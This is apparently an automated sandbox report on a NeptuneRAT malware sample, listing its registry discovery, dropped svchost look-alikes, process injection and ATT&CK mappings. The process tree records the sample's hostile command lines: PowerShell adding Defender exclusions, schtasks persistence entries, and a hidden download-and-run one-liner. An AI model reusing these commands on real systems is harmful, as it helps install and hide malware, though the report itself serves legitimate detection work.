neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	17bb891c-b859-4fa8-b361-16afbd78be42.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
5628	17bb891c-b859-4fa8-b361-16afbd78be42.exe
3356	svhost.exe
5924	svhost.exe
5100	j5bju0sh.kkq.exe
5060	svhost.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	17bb891c-b859-4fa8-b361-16afbd78be42.exe
File opened for modification	C:\Windows\svhost.exe	17bb891c-b859-4fa8-b361-16afbd78be42.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4776	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1852	SCHTASKS.exe
4868	schtasks.exe
896	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1220	powershell.exe
1220	powershell.exe
5220	powershell.exe
5220	powershell.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5788	powershell.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5788	powershell.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5788	powershell.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5788	powershell.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe
5100	j5bju0sh.kkq.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3444	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5628	17bb891c-b859-4fa8-b361-16afbd78be42.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeIncreaseQuotaPrivilege	1220	powershell.exe
Token: SeSecurityPrivilege	1220	powershell.exe
Token: SeTakeOwnershipPrivilege	1220	powershell.exe
Token: SeLoadDriverPrivilege	1220	powershell.exe
Token: SeSystemProfilePrivilege	1220	powershell.exe
Token: SeSystemtimePrivilege	1220	powershell.exe
Token: SeProfSingleProcessPrivilege	1220	powershell.exe
Token: SeIncBasePriorityPrivilege	1220	powershell.exe
Token: SeCreatePagefilePrivilege	1220	powershell.exe
Token: SeBackupPrivilege	1220	powershell.exe
Token: SeRestorePrivilege	1220	powershell.exe
Token: SeShutdownPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeSystemEnvironmentPrivilege	1220	powershell.exe
Token: SeRemoteShutdownPrivilege	1220	powershell.exe
Token: SeUndockPrivilege	1220	powershell.exe
Token: SeManageVolumePrivilege	1220	powershell.exe
Token: 33	1220	powershell.exe
Token: 34	1220	powershell.exe
Token: 35	1220	powershell.exe
Token: 36	1220	powershell.exe
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeIncreaseQuotaPrivilege	5220	powershell.exe
Token: SeSecurityPrivilege	5220	powershell.exe
Token: SeTakeOwnershipPrivilege	5220	powershell.exe
Token: SeLoadDriverPrivilege	5220	powershell.exe
Token: SeSystemProfilePrivilege	5220	powershell.exe
Token: SeSystemtimePrivilege	5220	powershell.exe
Token: SeProfSingleProcessPrivilege	5220	powershell.exe
Token: SeIncBasePriorityPrivilege	5220	powershell.exe
Token: SeCreatePagefilePrivilege	5220	powershell.exe
Token: SeBackupPrivilege	5220	powershell.exe
Token: SeRestorePrivilege	5220	powershell.exe
Token: SeShutdownPrivilege	5220	powershell.exe
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeSystemEnvironmentPrivilege	5220	powershell.exe
Token: SeRemoteShutdownPrivilege	5220	powershell.exe
Token: SeUndockPrivilege	5220	powershell.exe
Token: SeManageVolumePrivilege	5220	powershell.exe
Token: 33	5220	powershell.exe
Token: 34	5220	powershell.exe
Token: 35	5220	powershell.exe
Token: 36	5220	powershell.exe
Token: SeDebugPrivilege	3356	svhost.exe
Token: SeDebugPrivilege	5924	svhost.exe
Token: SeDebugPrivilege	5924	svhost.exe
Token: SeDebugPrivilege	5100	j5bju0sh.kkq.exe
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
752	Conhost.exe
4560	Conhost.exe
3312	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 5628	4764	Bypassed.exe	82
PID 5628 wrote to memory of 1220	5628	17bb891c-b859-4fa8-b361-16afbd78be42.exe	83
PID 5628 wrote to memory of 5220	5628	17bb891c-b859-4fa8-b361-16afbd78be42.exe	86
PID 5924 wrote to memory of 5100	5924	svhost.exe	91
PID 5924 wrote to memory of 896	5924	svhost.exe	92
PID 5100 wrote to memory of 620	5100	j5bju0sh.kkq.exe	5
PID 5100 wrote to memory of 680	5100	j5bju0sh.kkq.exe	7
PID 5100 wrote to memory of 884	5100	j5bju0sh.kkq.exe	11
PID 5100 wrote to memory of 60	5100	j5bju0sh.kkq.exe	13
PID 5100 wrote to memory of 416	5100	j5bju0sh.kkq.exe	14
PID 5100 wrote to memory of 988	5100	j5bju0sh.kkq.exe	15
PID 5100 wrote to memory of 1044	5100	j5bju0sh.kkq.exe	16
PID 5100 wrote to memory of 1052	5100	j5bju0sh.kkq.exe	17
PID 5100 wrote to memory of 1092	5100	j5bju0sh.kkq.exe	18
PID 5100 wrote to memory of 1156	5100	j5bju0sh.kkq.exe	19
PID 5100 wrote to memory of 1180	5100	j5bju0sh.kkq.exe	20
PID 5100 wrote to memory of 1188	5100	j5bju0sh.kkq.exe	21
PID 5100 wrote to memory of 1200	5100	j5bju0sh.kkq.exe	22
PID 5100 wrote to memory of 1464	5100	j5bju0sh.kkq.exe	24
PID 5100 wrote to memory of 1484	5100	j5bju0sh.kkq.exe	25
PID 5100 wrote to memory of 1536	5100	j5bju0sh.kkq.exe	26
PID 5100 wrote to memory of 1544	5100	j5bju0sh.kkq.exe	27
PID 5100 wrote to memory of 1612	5100	j5bju0sh.kkq.exe	28
PID 5100 wrote to memory of 1760	5100	j5bju0sh.kkq.exe	29
PID 5100 wrote to memory of 1796	5100	j5bju0sh.kkq.exe	30
PID 5100 wrote to memory of 1812	5100	j5bju0sh.kkq.exe	31
PID 5100 wrote to memory of 1864	5100	j5bju0sh.kkq.exe	32
PID 5100 wrote to memory of 1896	5100	j5bju0sh.kkq.exe	33
PID 5100 wrote to memory of 2000	5100	j5bju0sh.kkq.exe	34
PID 5100 wrote to memory of 1948	5100	j5bju0sh.kkq.exe	35
PID 5100 wrote to memory of 2052	5100	j5bju0sh.kkq.exe	36
PID 5100 wrote to memory of 2064	5100	j5bju0sh.kkq.exe	37
PID 5100 wrote to memory of 2148	5100	j5bju0sh.kkq.exe	38
PID 5100 wrote to memory of 2156	5100	j5bju0sh.kkq.exe	39
PID 5100 wrote to memory of 2312	5100	j5bju0sh.kkq.exe	40
PID 5100 wrote to memory of 2376	5100	j5bju0sh.kkq.exe	41
PID 5100 wrote to memory of 2440	5100	j5bju0sh.kkq.exe	43
PID 5100 wrote to memory of 2684	5100	j5bju0sh.kkq.exe	45
PID 5100 wrote to memory of 2692	5100	j5bju0sh.kkq.exe	46
PID 5100 wrote to memory of 2752	5100	j5bju0sh.kkq.exe	47
PID 5100 wrote to memory of 2848	5100	j5bju0sh.kkq.exe	48
PID 5100 wrote to memory of 2876	5100	j5bju0sh.kkq.exe	49
PID 5100 wrote to memory of 2924	5100	j5bju0sh.kkq.exe	50
PID 5100 wrote to memory of 2932	5100	j5bju0sh.kkq.exe	51
PID 5100 wrote to memory of 3120	5100	j5bju0sh.kkq.exe	52
PID 5100 wrote to memory of 3144	5100	j5bju0sh.kkq.exe	53
PID 5100 wrote to memory of 3184	5100	j5bju0sh.kkq.exe	54
PID 5100 wrote to memory of 3244	5100	j5bju0sh.kkq.exe	55
PID 5100 wrote to memory of 3412	5100	j5bju0sh.kkq.exe	56
PID 5100 wrote to memory of 3444	5100	j5bju0sh.kkq.exe	57
PID 5100 wrote to memory of 3604	5100	j5bju0sh.kkq.exe	58
PID 5100 wrote to memory of 3880	5100	j5bju0sh.kkq.exe	60
PID 5100 wrote to memory of 4088	5100	j5bju0sh.kkq.exe	62
PID 5100 wrote to memory of 4156	5100	j5bju0sh.kkq.exe	63
PID 5100 wrote to memory of 4632	5100	j5bju0sh.kkq.exe	65
PID 5100 wrote to memory of 6056	5100	j5bju0sh.kkq.exe	66
PID 5100 wrote to memory of 708	5100	j5bju0sh.kkq.exe	68
PID 5100 wrote to memory of 1236	5100	j5bju0sh.kkq.exe	69
PID 5100 wrote to memory of 3984	5100	j5bju0sh.kkq.exe	70
PID 5100 wrote to memory of 2568	5100	j5bju0sh.kkq.exe	71
PID 5100 wrote to memory of 5496	5100	j5bju0sh.kkq.exe	72
PID 5100 wrote to memory of 4084	5100	j5bju0sh.kkq.exe	73
PID 5100 wrote to memory of 3208	5100	j5bju0sh.kkq.exe	74
PID 5100 wrote to memory of 3560	5100	j5bju0sh.kkq.exe	75

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1156

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b04f9969-9959-4f7a-94c4-2fb5bc9f96ae -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-26308713-5c64-44a9-b2e1-e3e2f23965e9 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-20b8521b-f494-4fc4-9f72-3f6282e22a5d -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a5c1c42f-d8eb-47a6-b831-73b88ac28723 -LifetimeId:cc705384-6a74-4cbb-be3b-63efac8990c2 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:60

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1612
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3184
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5924
- - C:\Users\Admin\AppData\Local\Temp\j5bju0sh.kkq.exe
    "C:\Users\Admin\AppData\Local\Temp\j5bju0sh.kkq.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5100
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:896
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1852
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5788
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4560
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4868
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5580
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE402.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1812
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2312

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3444
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4764
- - C:\Users\Admin\AppData\Local\Temp\17bb891c-b859-4fa8-b361-16afbd78be42.exe
    "C:\Users\Admin\AppData\Local\Temp\17bb891c-b859-4fa8-b361-16afbd78be42.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3880

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4088

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4632

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:6056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3984

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5496

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3208

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3560

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:5772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4656

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3196

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3356

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
PID:4304

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:3312

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:5060

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:2136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery